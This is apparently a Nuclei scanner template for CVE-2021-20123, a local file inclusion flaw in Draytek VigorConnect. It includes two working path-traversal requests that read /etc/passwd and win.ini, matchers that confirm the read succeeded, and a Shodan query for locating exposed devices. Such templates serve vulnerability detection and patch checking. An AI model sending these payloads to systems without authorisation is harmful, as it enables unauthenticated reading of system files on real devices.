id: CVE-2021-20123

info:
  name: Draytek VigorConnect 1.6.0-B - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Draytek VigorConnect 1.6.0-B.
  reference:
    - https://www.tenable.com/security/research/tra-2021-42
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20123
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-20123
    cwe-id: CWE-22
    epss-score: 0.03817
    epss-percentile: 0.90857
    cpe: cpe:2.3:a:draytek:vigorconnect:1.6.0:beta3:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: draytek
    product: vigorconnect
    shodan-query: http.html:"VigorConnect"
  tags: cve,cve2021,draytek,lfi,vigorconnect,tenable

http:
  - method: GET
    path:
      - "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything"
      - "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "for 16-bit app support"
        condition: or

      - type: status
        status:
          - 200

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